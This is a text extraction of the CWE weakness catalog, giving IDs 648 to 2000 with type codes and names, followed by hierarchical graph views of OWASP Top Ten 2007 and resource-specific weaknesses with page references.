Type	ID	Name
B	648	Incorrect Use of Privileged APIs
B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking
V	650	Trusting HTTP Permission Methods on the Server Side
V	651	Information Exposure Through WSDL File
B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')
B	653	Insufficient Compartmentalization
B	654	Reliance on a Single Factor in a Security Decision
B	655	Insufficient Psychological Acceptability
B	656	Reliance on Security Through Obscurity
G	657	Violation of Secure Design Principles
V	658	Weaknesses in Software Written in C
V	659	Weaknesses in Software Written in C++
V	660	Weaknesses in Software Written in Java
V	661	Weaknesses in Software Written in PHP
B	662	Improper Synchronization
B	663	Use of a Non-reentrant Function in a Concurrent Context
G	664	Improper Control of a Resource Through its Lifetime
B	665	Improper Initialization
B	666	Operation on Resource in Wrong Phase of Lifetime
B	667	Improper Locking
G	668	Exposure of Resource to Wrong Sphere
G	669	Incorrect Resource Transfer Between Spheres
G	670	Always-Incorrect Control Flow Implementation
G	671	Lack of Administrator Control over Security
B	672	Operation on a Resource after Expiration or Release
G	673	External Influence of Sphere Definition
B	674	Uncontrolled Recursion
G	675	Duplicate Operations on Resource
B	676	Use of Potentially Dangerous Function
V	677	Weakness Base Elements
V	678	Composites
V	679	Chain Elements
∞	680	Integer Overflow to Buffer Overflow
B	681	Incorrect Conversion between Numeric Types
G	682	Incorrect Calculation
V	683	Function Call With Incorrect Order of Arguments
B	684	Incorrect Provision of Specified Functionality
V	685	Function Call With Incorrect Number of Arguments
V	686	Function Call With Incorrect Argument Type
V	687	Function Call With Incorrectly Specified Argument Value
V	688	Function Call With Incorrect Variable or Reference as Argument
⚙	689	Permission Race Condition During Resource Copy
∞	690	Unchecked Return Value to NULL Pointer Dereference
G	691	Insufficient Control Flow Management
∞	692	Incomplete Blacklist to Cross-Site Scripting
G	693	Protection Mechanism Failure
B	694	Use of Multiple Resources with Duplicate Identifier
B	695	Use of Low-Level Functionality
G	696	Incorrect Behavior Order
G	697	Insufficient Comparison

Type	ID	Name
B	698	Execution After Redirect (EAR)
V	699	Development Concepts
V	700	Seven Pernicious Kingdoms
V	701	Weaknesses Introduced During Design
V	702	Weaknesses Introduced During Implementation
G	703	Improper Check or Handling of Exceptional Conditions
G	704	Incorrect Type Conversion or Cast
G	705	Incorrect Control Flow Scoping
G	706	Use of Incorrectly-Resolved Name or Reference
G	707	Improper Enforcement of Message or Data Structure
B	708	Incorrect Ownership Assignment
V	709	Named Chains
G	710	Coding Standards Violation
V	711	Weaknesses in OWASP Top Ten (2004)
C	712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)
C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws
C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution
C	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
C	716	OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)
C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling
C	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
C	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage
C	720	OWASP Top Ten 2007 Category A9 - Insecure Communications
C	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input
C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control
C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
C	725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws
C	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows
C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws
C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling
C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage
C	730	OWASP Top Ten 2004 Category A9 - Denial of Service
C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
G	732	Incorrect Permission Assignment for Critical Resource
B	733	Compiler Optimization Removal or Modification of Security-critical Code
V	734	Weaknesses Addressed by the CERT C Secure Coding Standard
C	735	CERT C Secure Coding Section 01 - Preprocessor (PRE)
C	736	CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)
C	737	CERT C Secure Coding Section 03 - Expressions (EXP)
C	738	CERT C Secure Coding Section 04 - Integers (INT)
C	739	CERT C Secure Coding Section 05 - Floating Point (FLP)
C	740	CERT C Secure Coding Section 06 - Arrays (ARR)
C	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)
C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)
C	743	CERT C Secure Coding Section 09 - Input Output (FIO)
C	744	CERT C Secure Coding Section 10 - Environment (ENV)
C	745	CERT C Secure Coding Section 11 - Signals (SIG)
C	746	CERT C Secure Coding Section 12 - Error Handling (ERR)
C	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)

Type	ID	Name
C	748	CERT C Secure Coding Section 50 - POSIX (POS)
B	749	Exposed Dangerous Method or Function
V	750	Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors
C	751	2009 Top 25 - Insecure Interaction Between Components
C	752	2009 Top 25 - Risky Resource Management
C	753	2009 Top 25 - Porous Defenses
G	754	Improper Check for Unusual or Exceptional Conditions
G	755	Improper Handling of Exceptional Conditions
G	756	Missing Custom Error Page
G	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')
G	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
B	759	Use of a One-Way Hash without a Salt
B	760	Use of a One-Way Hash with a Predictable Salt
V	761	Free of Pointer not at Start of Buffer
V	762	Mismatched Memory Management Routines
B	763	Release of Invalid Pointer or Reference
V	764	Multiple Locks of a Critical Resource
V	765	Multiple Unlocks of a Critical Resource
V	766	Critical Variable Declared Public
V	767	Access to Critical Private Variable via Public Method
V	768	Incorrect Short Circuit Evaluation
C	769	File Descriptor Exhaustion
B	770	Allocation of Resources Without Limits or Throttling
B	771	Missing Reference to Active Allocated Resource
B	772	Missing Release of Resource after Effective Lifetime
V	773	Missing Reference to Active File Descriptor or Handle
V	774	Allocation of File Descriptors or Handles Without Limits or Throttling
V	775	Missing Release of File Descriptor or Handle after Effective Lifetime
V	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
V	777	Regular Expression without Anchors
B	778	Insufficient Logging
B	779	Logging of Excessive Data
V	780	Use of RSA Algorithm without OAEP
V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code
V	782	Exposed IOCTL with Insufficient Access Control
V	783	Operator Precedence Logic Error
V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision
V	785	Use of Path Manipulation Function without Maximum-sized Buffer
B	786	Access of Memory Location Before Start of Buffer
B	787	Out-of-bounds Write
B	788	Access of Memory Location After End of Buffer
V	789	Uncontrolled Memory Allocation
G	790	Improper Filtering of Special Elements
B	791	Incomplete Filtering of Special Elements
V	792	Incomplete Filtering of One or More Instances of Special Elements
V	793	Only Filtering One Instance of a Special Element
V	794	Incomplete Filtering of Multiple Instances of Special Elements
B	795	Only Filtering Special Elements at a Specified Location
V	796	Only Filtering Special Elements Relative to a Marker
V	797	Only Filtering Special Elements at an Absolute Position

Type	ID	Name
B	798	Use of Hard-coded Credentials
G	799	Improper Control of Interaction Frequency
V	800	Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors
C	801	2010 Top 25 - Insecure Interaction Between Components
C	802	2010 Top 25 - Risky Resource Management
C	803	2010 Top 25 - Porous Defenses
B	804	Guessable CAPTCHA
B	805	Buffer Access with Incorrect Length Value
V	806	Buffer Access Using Size of Source Buffer
B	807	Reliance on Untrusted Inputs in a Security Decision
C	808	2010 Top 25 - Weaknesses On the Cusp
V	809	Weaknesses in OWASP Top Ten (2010)
C	810	OWASP Top Ten 2010 Category A1 - Injection
C	811	OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)
C	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
C	814	OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)
C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration
C	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
C	817	OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
C	818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection
C	819	OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards
B	820	Missing Synchronization
B	821	Incorrect Synchronization
B	822	Untrusted Pointer Dereference
B	823	Use of Out-of-range Pointer Offset
B	824	Access of Uninitialized Pointer
B	825	Expired Pointer Dereference
B	826	Premature Release of Resource During Expected Lifetime
B	827	Improper Control of Document Type Definition
B	828	Signal Handler with Functionality that is not Asynchronous-Safe
G	829	Inclusion of Functionality from Untrusted Control Sphere
B	830	Inclusion of Web Functionality from an Untrusted Source
B	831	Signal Handler Function Associated with Multiple Signals
B	832	Unlock of a Resource that is not Locked
B	833	Deadlock
B	834	Excessive Iteration
B	835	Loop with Unreachable Exit Condition ('Infinite Loop')
B	836	Use of Password Hash Instead of Password for Authentication
B	837	Improper Enforcement of a Single, Unique Action
B	838	Inappropriate Encoding for Output Context
B	839	Numeric Range Comparison Without Minimum Check
C	840	Business Logic Errors
B	841	Improper Enforcement of Behavioral Workflow
B	842	Placement of User into Incorrect Group
B	843	Access of Resource Using Incompatible Type ('Type Confusion')
V	844	Weaknesses Addressed by the CERT Java Secure Coding Standard
C	845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)
C	846	CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL)
C	847	CERT Java Secure Coding Section 02 - Expressions (EXP)

Type	ID	Name
C	848	CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)
C	849	CERT Java Secure Coding Section 04 - Object Orientation (OBJ)
C	850	CERT Java Secure Coding Section 05 - Methods (MET)
C	851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)
C	852	CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)
C	853	CERT Java Secure Coding Section 08 - Locking (LCK)
C	854	CERT Java Secure Coding Section 09 - Thread APIs (THI)
C	855	CERT Java Secure Coding Section 10 - Thread Pools (TPS)
C	856	CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM)
C	857	CERT Java Secure Coding Section 12 - Input Output (FIO)
C	858	CERT Java Secure Coding Section 13 - Serialization (SER)
C	859	CERT Java Secure Coding Section 14 - Platform Security (SEC)
C	860	CERT Java Secure Coding Section 15 - Runtime Environment (ENV)
C	861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)
G	862	Missing Authorization
G	863	Incorrect Authorization
C	864	2011 Top 25 - Insecure Interaction Between Components
C	865	2011 Top 25 - Risky Resource Management
C	866	2011 Top 25 - Porous Defenses
C	867	2011 Top 25 - Weaknesses On the Cusp
V	868	Weaknesses Addressed by the CERT C++ Secure Coding Standard
C	869	CERT C++ Secure Coding Section 01 - Preprocessor (PRE)
C	870	CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)
C	871	CERT C++ Secure Coding Section 03 - Expressions (EXP)
C	872	CERT C++ Secure Coding Section 04 - Integers (INT)
C	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)
C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)
C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)
C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)
C	879	CERT C++ Secure Coding Section 11 - Signals (SIG)
C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
C	881	CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)
C	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)
C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
V	884	CWE Cross-section
C	885	SFP Primary Cluster: Risky Values
C	886	SFP Primary Cluster: Unused entities
C	887	SFP Primary Cluster: API
V	888	Software Fault Pattern (SFP) Clusters
C	889	SFP Primary Cluster: Exception Management
C	890	SFP Primary Cluster: Memory Access
C	891	SFP Primary Cluster: Memory Management
C	892	SFP Primary Cluster: Resource Management
C	893	SFP Primary Cluster: Path Resolution
C	894	SFP Primary Cluster: Synchronization
C	895	SFP Primary Cluster: Information Leak
C	896	SFP Primary Cluster: Tainted Input
C	897	SFP Primary Cluster: Entry Points

Type	ID	Name
C	898	SFP Primary Cluster: Authentication
C	899	SFP Primary Cluster: Access Control
V	900	Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors
C	901	SFP Primary Cluster: Privilege
C	902	SFP Primary Cluster: Channel
C	903	SFP Primary Cluster: Cryptography
C	904	SFP Primary Cluster: Malware
C	905	SFP Primary Cluster: Predictability
C	906	SFP Primary Cluster: UI
C	907	SFP Primary Cluster: Other
B	908	Use of Uninitialized Resource
B	909	Missing Initialization of Resource
B	910	Use of Expired File Descriptor
B	911	Improper Update of Reference Count
G	912	Hidden Functionality
G	913	Improper Control of Dynamically-Managed Code Resources
B	914	Improper Control of Dynamically-Identified Variables
B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes
B	916	Use of Password Hash With Insufficient Computational Effort
B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
B	918	Server-Side Request Forgery (SSRF)
V	919	Weaknesses in Mobile Applications
B	920	Improper Restriction of Power Consumption
B	921	Storage of Sensitive Data in a Mechanism without Access Control
G	922	Insecure Storage of Sensitive Information
G	923	Improper Restriction of Communication Channel to Intended Endpoints
G	924	Improper Enforcement of Message Integrity During Transmission in a Communication Channel
V	925	Improper Verification of Intent by Broadcast Receiver
V	926	Improper Export of Android Application Components
V	927	Use of Implicit Intent for Sensitive Communication
V	928	Weaknesses in OWASP Top Ten (2013)
C	929	OWASP Top Ten 2013 Category A1 - Injection
C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
C	931	OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)
C	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration
C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure
C	935	OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control
C	936	OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)
C	937	OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities
C	938	OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards
B	939	Improper Authorization in Handler for Custom URL Scheme
B	940	Improper Verification of Source of a Communication Channel
B	941	Incorrectly Specified Destination in a Communication Channel
V	942	Overly Permissive Cross-domain Whitelist
G	943	Improper Neutralization of Special Elements in Data Query Logic
C	944	SFP Secondary Cluster: Access Management
C	945	SFP Secondary Cluster: Insecure Resource Access
C	946	SFP Secondary Cluster: Insecure Resource Permissions



Type	ID	Name
□	947	SFP Secondary Cluster: Authentication Bypass
□	948	SFP Secondary Cluster: Digital Certificate
□	949	SFP Secondary Cluster: Faulty Endpoint Authentication
□	950	SFP Secondary Cluster: Hardcoded Sensitive Data
□	951	SFP Secondary Cluster: Insecure Authentication Policy
□	952	SFP Secondary Cluster: Missing Authentication
□	953	SFP Secondary Cluster: Missing Endpoint Authentication
□	954	SFP Secondary Cluster: Multiple Binds to the Same Port
□	955	SFP Secondary Cluster: Unrestricted Authentication
□	956	SFP Secondary Cluster: Channel Attack
□	957	SFP Secondary Cluster: Protocol Error
□	958	SFP Secondary Cluster: Broken Cryptography
□	959	SFP Secondary Cluster: Weak Cryptography
□	960	SFP Secondary Cluster: Ambiguous Exception Type
□	961	SFP Secondary Cluster: Incorrect Exception Behavior
□	962	SFP Secondary Cluster: Unchecked Status Condition
□	963	SFP Secondary Cluster: Exposed Data
□	964	SFP Secondary Cluster: Exposure Temporary File
□	965	SFP Secondary Cluster: Insecure Session Management
□	966	SFP Secondary Cluster: Other Exposures
□	967	SFP Secondary Cluster: State Disclosure
□	968	SFP Secondary Cluster: Covert Channel
□	969	SFP Secondary Cluster: Faulty Memory Release
□	970	SFP Secondary Cluster: Faulty Buffer Access
□	971	SFP Secondary Cluster: Faulty Pointer Use
□	972	SFP Secondary Cluster: Faulty String Expansion
□	973	SFP Secondary Cluster: Improper NULL Termination
□	974	SFP Secondary Cluster: Incorrect Buffer Length Computation
□	975	SFP Secondary Cluster: Architecture
□	976	SFP Secondary Cluster: Compiler
□	977	SFP Secondary Cluster: Design
□	978	SFP Secondary Cluster: Implementation
□	979	SFP Secondary Cluster: Failed Chroot Jail
□	980	SFP Secondary Cluster: Link in Resource Name Resolution
□	981	SFP Secondary Cluster: Path Traversal
□	982	SFP Secondary Cluster: Failure to Release Resource
□	983	SFP Secondary Cluster: Faulty Resource Use
□	984	SFP Secondary Cluster: Life Cycle
□	985	SFP Secondary Cluster: Unrestricted Consumption
□	986	SFP Secondary Cluster: Missing Lock
□	987	SFP Secondary Cluster: Multiple Locks/Unlocks
□	988	SFP Secondary Cluster: Race Condition Window
□	989	SFP Secondary Cluster: Unrestricted Lock
□	990	SFP Secondary Cluster: Tainted Input to Command
□	991	SFP Secondary Cluster: Tainted Input to Environment
□	992	SFP Secondary Cluster: Faulty Input Transformation
□	993	SFP Secondary Cluster: Incorrect Input Handling
□	994	SFP Secondary Cluster: Tainted Input to Variable
□	995	SFP Secondary Cluster: Feature
□	996	SFP Secondary Cluster: Security



---

Type	ID	Name
<b>C</b>	997	SFP Secondary Cluster: Information Loss
<b>C</b>	998	SFP Secondary Cluster: Glitch in Computation
<b>V</b>	999	Weaknesses without Software Fault Patterns
<b>V</b>	1000	Research Concepts
<b>C</b>	1001	SFP Secondary Cluster: Use of an Improper API
<b>C</b>	1002	SFP Secondary Cluster: Unexpected Entry Points
<b>V</b>	2000	Comprehensive CWE Dictionary

---

## Graph View: CWE-629: Weaknesses in OWASP Top Ten (2007)

- C** CWE-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS) (p. 1111)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
- C** CWE-713: OWASP Top Ten 2007 Category A2 - Injection Flaws (p. 1112)
  - G** CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
  - B** CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 169)
  - B** CWE-91: XML Injection (aka Blind XPath Injection) (p. 170)
  - B** CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p. 172)
- C** CWE-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution (p. 1112)
  - B** CWE-434: Unrestricted Upload of File with Dangerous Type (p. 742)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - B** CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 177)
  - B** CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- C** CWE-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference (p. 1113)
  - G** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
  - B** CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (p. 988)
- C** CWE-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF) (p. 1113)
  - B** CWE-352: Cross-Site Request Forgery (CSRF) (p. 611)
    - B** CWE-346: Origin Validation Error (p. 602)
    - G** CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
    - B** CWE-613: Insufficient Session Expiration (p. 960)
    - G** CWE-642: External Control of Critical State Data (p. 993)
- C** CWE-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling (p. 1114)
  - G** CWE-200: Information Exposure (p. 384)
  - G** CWE-203: Information Exposure Through Discrepancy (p. 389)
  - B** CWE-209: Information Exposure Through an Error Message (p. 397)
  - V** CWE-215: Information Exposure Through Debug Information (p. 409)
- C** CWE-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management (p. 1114)
  - G** CWE-287: Improper Authentication (p. 507)
  - V** CWE-301: Reflection Attack in an Authentication Protocol (p. 532)
  - B** CWE-522: Insufficiently Protected Credentials (p. 862)
- C** CWE-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage (p. 1114)
  - B** CWE-311: Missing Encryption of Sensitive Data (p. 548)
  - B** CWE-321: Use of Hard-coded Cryptographic Key (p. 565)
  - B** CWE-325: Missing Required Cryptographic Step (p. 570)
  - G** CWE-326: Inadequate Encryption Strength (p. 571)
- C** CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications (p. 1115)
  - B** CWE-311: Missing Encryption of Sensitive Data (p. 548)
  - B** CWE-321: Use of Hard-coded Cryptographic Key (p. 565)
  - B** CWE-325: Missing Required Cryptographic Step (p. 570)
  - G** CWE-326: Inadequate Encryption Strength (p. 571)
- C** CWE-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access (p. 1115)
  - G** CWE-285: Improper Authorization (p. 501)
  - B** CWE-288: Authentication Bypass Using an Alternate Path or Channel (p. 512)























ⓑ CWE-425: Direct Request ('Forced Browsing') (p. 727)

## Graph View: CWE-631: Resource-specific Weaknesses

- C** CWE-632: Weaknesses that Affect Files or Directories (p. 981)
  - C** CWE-275: Permission Issues (p. 488)
  - C** CWE-376: Temporary File Issues (p. 655)
  - C** CWE-60: UNIX Path Link Problems (p. 94)
    - V** CWE-62: UNIX Hard Link (p. 96)
    - B** CWE-61: UNIX Symbolic Link (Symlink) Following (p. 95)
      - C** CWE-275: Permission Issues (p. 488)
      - G** CWE-216: Containment Errors (Container Errors) (p. 410)
      - G** CWE-340: Predictability Problems (p. 596)
      - G** CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
      - B** CWE-386: Symbolic Name not Mapping to Correct Object (p. 667)
  - C** CWE-63: Windows Path Link Problems (p. 98)
    - V** CWE-64: Windows Shortcut Following (.LNK) (p. 98)
    - V** CWE-65: Windows Hard Link (p. 100)
  - C** CWE-68: Windows Virtual File Problems (p. 104)
    - V** CWE-67: Improper Handling of Windows Device Names (p. 103)
    - V** CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream (p. 105)
  - C** CWE-70: Mac Virtual File Problems (p. 106)
    - V** CWE-71: Apple '.DS\_Store' (p. 106)
    - V** CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path (p. 107)
  - B** CWE-178: Improper Handling of Case Sensitivity (p. 343)
  - G** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
  - V** CWE-243: Creation of chroot Jail Without Changing Working Directory (p. 433)
  - V** CWE-260: Password in Configuration File (p. 463)
  - G** CWE-282: Improper Ownership Management (p. 497)
  - G** CWE-284: Improper Access Control (p. 499)
  - B** CWE-41: Improper Resolution of Path Equivalence (p. 73)
  - B** CWE-434: Unrestricted Upload of File with Dangerous Type (p. 742)
  - V** CWE-533: Information Exposure Through Server Log Files (p. 873)
  - B** CWE-552: Files or Directories Accessible to External Parties (p. 889)
  - B** CWE-59: Improper Link Resolution Before File Access ('Link Following') (p. 91)
  - V** CWE-67: Improper Handling of Windows Device Names (p. 103)
  - V** CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1204)
  - B** CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p. 181)
  - B** CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- C** CWE-633: Weaknesses that Affect Memory (p. 981)
  - C** CWE-251: Often Misused: String Management (p. 445)
  - G** CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  - V** CWE-122: Heap-based Buffer Overflow (p. 245)
  - B** CWE-129: Improper Validation of Array Index (p. 258)
  - B** CWE-134: Uncontrolled Format String (p. 277)
  - B** CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
  - B** CWE-226: Sensitive Information Uncleared Before Release (p. 417)
  - V** CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 434)
  - V** CWE-316: Cleartext Storage of Sensitive Information in Memory (p. 559)
  - B** CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 694)
  - V** CWE-415: Double Free (p. 716)
  - B** CWE-416: Use After Free (p. 719)
  - V** CWE-591: Sensitive Data Storage in Improperly Locked Memory (p. 932)
  - B** CWE-763: Release of Invalid Pointer or Reference (p. 1164)

- V CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1204)
- C CWE-634: Weaknesses that Affect System Processes (p. 982)
- C CWE-387: Signal Errors (p. 668)
- B CWE-114: Process Control (p. 215)
- V CWE-214: Information Exposure Through Process Environment (p. 408)
- B CWE-266: Incorrect Privilege Assignment (p. 471)
- B CWE-273: Improper Check for Dropped Privileges (p. 485)
- B CWE-364: Signal Handler Race Condition (p. 635)
- B CWE-366: Race Condition within a Thread (p. 640)
- V CWE-383: J2EE Bad Practices: Direct Use of Threads (p. 662)
- B CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p. 697)
- B CWE-421: Race Condition During Access to Alternate Channel (p. 724)
- V CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p. 725)
- V CWE-479: Signal Handler Use of a Non-reentrant Function (p. 807)
- V CWE-572: Call to Thread run() instead of start() (p. 910)
- V CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream (p. 105)
- B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
- B CWE-88: Argument Injection or Modification (p. 155)
- B CWE-426: Untrusted Search Path (p. 729)
- C CWE-275: Permission Issues (p. 488)
- G CWE-216: Containment Errors (Container Errors) (p. 410)
- B CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 792)

## Graph View: CWE-678: Composites

-  CWE-352: Cross-Site Request Forgery (CSRF) (p. 611)
  -  CWE-346: Origin Validation Error (p. 602)
  -  CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
  -  CWE-613: Insufficient Session Expiration (p. 960)
  -  CWE-642: External Control of Critical State Data (p. 993)
-  CWE-384: Session Fixation (p. 663)
  -  CWE-346: Origin Validation Error (p. 602)
  -  CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
  -  CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
-  CWE-426: Untrusted Search Path (p. 729)
  -  CWE-275: Permission Issues (p. 488)
  -  CWE-216: Containment Errors (Container Errors) (p. 410)
  -  CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 792)
-  CWE-61: UNIX Symbolic Link (Symlink) Following (p. 95)
  -  CWE-275: Permission Issues (p. 488)
  -  CWE-216: Containment Errors (Container Errors) (p. 410)
  -  CWE-340: Predictability Problems (p. 596)
  -  CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
  -  CWE-386: Symbolic Name not Mapping to Correct Object (p. 667)
-  CWE-689: Permission Race Condition During Resource Copy (p. 1070)
  -  CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)
  -  CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)









- B CWE-181: Incorrect Behavior Order: Validate Before Filter (p. 349)
- B CWE-182: Collapse of Data into Unsafe Value (p. 350)
- B CWE-183: Permissive Whitelist (p. 352)
- B CWE-184: Incomplete Blacklist (p. 352)
- C CWE-185: Incorrect Regular Expression (p. 355)
  - B CWE-186: Overly Restrictive Regular Expression (p. 356)
  - B CWE-625: Permissive Regular Expression (p. 973)
  - V CWE-777: Regular Expression without Anchors (p. 1192)
- B CWE-187: Partial Comparison (p. 357)
- V CWE-478: Missing Default Case in Switch Statement (p. 804)
- V CWE-486: Comparison of Classes by Name (p. 820)
- B CWE-595: Comparison of Object References Instead of Object Contents (p. 936)
  - V CWE-597: Use of Wrong Operator in String Comparison (p. 938)
- B CWE-596: Incorrect Semantic Object Comparison (p. 938)
- C CWE-697: Insufficient Comparison (p. 1078)
- V CWE-768: Incorrect Short Circuit Evaluation (p. 1173)
- C CWE-138: Improper Neutralization of Special Elements (p. 285)
  - C CWE-169: Technology-Specific Special Elements (p. 327)
    - B CWE-170: Improper Null Termination (p. 328)
  - B CWE-140: Improper Neutralization of Delimiters (p. 287)
    - V CWE-141: Improper Neutralization of Parameter/Argument Delimiters (p. 289)
    - V CWE-142: Improper Neutralization of Value Delimiters (p. 290)
    - V CWE-143: Improper Neutralization of Record Delimiters (p. 291)
    - V CWE-144: Improper Neutralization of Line Delimiters (p. 293)
    - V CWE-145: Improper Neutralization of Section Delimiters (p. 294)
    - V CWE-146: Improper Neutralization of Expression/Command Delimiters (p. 296)
  - V CWE-147: Improper Neutralization of Input Terminators (p. 297)
  - V CWE-148: Improper Neutralization of Input Leaders (p. 298)
  - V CWE-149: Improper Neutralization of Quoting Syntax (p. 299)
  - V CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p. 301)
  - V CWE-151: Improper Neutralization of Comment Delimiters (p. 302)
  - V CWE-152: Improper Neutralization of Macro Symbols (p. 304)
  - V CWE-153: Improper Neutralization of Substitution Characters (p. 305)
